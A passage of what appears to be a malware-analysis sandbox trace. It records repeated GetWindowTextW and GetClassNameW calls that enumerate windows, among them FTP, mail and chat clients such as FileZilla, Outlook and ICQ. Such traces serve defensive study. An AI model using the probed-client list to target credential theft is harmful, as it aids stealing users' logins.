lpString="Outlook") returned 7 [0133.289] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0133.289] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0133.289] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0133.289] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0133.289] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0133.289] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0133.290] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0133.290] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0133.290] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0133.290] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Icq") returned 3 [0133.290] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0133.290] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0133.290] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0133.290] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0133.291] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0133.291] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Far") returned 3 [0133.291] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0133.291] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0133.291] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0133.291] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0133.291] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0133.291] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdead8, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0133.292] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0133.292] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Fling") returned 5 [0133.292] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0133.292] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0133.292] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0133.292] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0133.292] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0133.292] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0133.293] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0133.293] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0133.293] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0133.293] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0133.293] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0133.293] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Barca") returned 5 [0133.293] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0133.293] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdead8, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0133.293] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0133.293] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0133.294] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0133.294] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0133.294] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0133.294] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0133.294] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0133.294] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0133.294] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0133.294] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0133.295] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0133.295] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0133.295] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0133.295] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Big") returned 3 [0133.295] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0133.295] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0133.295] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0133.295] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0133.295] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0133.295] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0133.296] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0133.296] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0133.296] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0133.296] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Painting") returned 8 [0133.296] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0133.296] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Better") returned 6 [0133.296] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0133.296] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0133.297] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0133.297] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.297] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.297] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.297] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0133.297] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.297] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0133.297] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.297] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.297] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.298] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.298] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdead8, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0133.298] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdead8) returned 0x9 [0133.298] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0133.298] GetWindowTextW (in: hWnd=0x702ec, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.298] GetClassNameW (in: hWnd=0x702ec, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0133.298] GetWindowTextW (in: hWnd=0x101e8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0133.298] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0133.298] GetWindowTextW (in: hWnd=0x101e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0133.298] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0133.299] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.299] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0133.299] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.299] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.299] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.299] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.299] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.299] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.299] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.299] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0133.300] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.300] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.300] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0133.300] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0133.300] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.300] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.300] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0133.300] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0133.300] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0133.301] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0133.301] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.301] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.309] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.309] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0133.309] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.309] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.309] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.309] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.309] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.310] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0133.310] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.310] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0133.310] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0133.310] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0133.310] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0133.310] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0133.310] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.310] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.311] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.311] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0133.311] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.311] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.311] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.311] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.311] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.311] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0133.311] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.312] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0133.312] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.312] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0133.312] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.312] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0133.312] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.312] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0133.312] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0133.312] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0133.313] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.313] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0133.313] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.313] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0133.313] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0133.313] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0133.313] GetWindowTextW (in: hWnd=0x100d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0133.313] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0133.313] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.313] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.314] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0133.314] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0133.314] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.314] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.314] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.314] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.314] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.314] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.314] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.314] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.315] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.315] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.315] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.315] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.315] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.315] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.315] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.315] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.315] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.316] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.316] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.316] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.316] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.316] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.316] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.316] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.316] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.316] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.318] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.318] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.318] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.318] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.318] GetWindowTextW (in: hWnd=0x10344, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.318] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.318] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.319] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.319] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.319] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.319] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.319] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.319] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.319] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.319] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.320] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.320] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.320] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.320] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.320] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.320] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.320] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.320] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.320] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.321] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.321] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.321] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.321] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.321] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.321] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.321] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.321] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.322] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.322] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.322] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.322] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.322] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.322] GetClassNameW (in: hWnd=0x102d0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.322] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.322] GetClassNameW (in: hWnd=0x102ce, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.322] GetWindowTextW (in: hWnd=0x102cc, 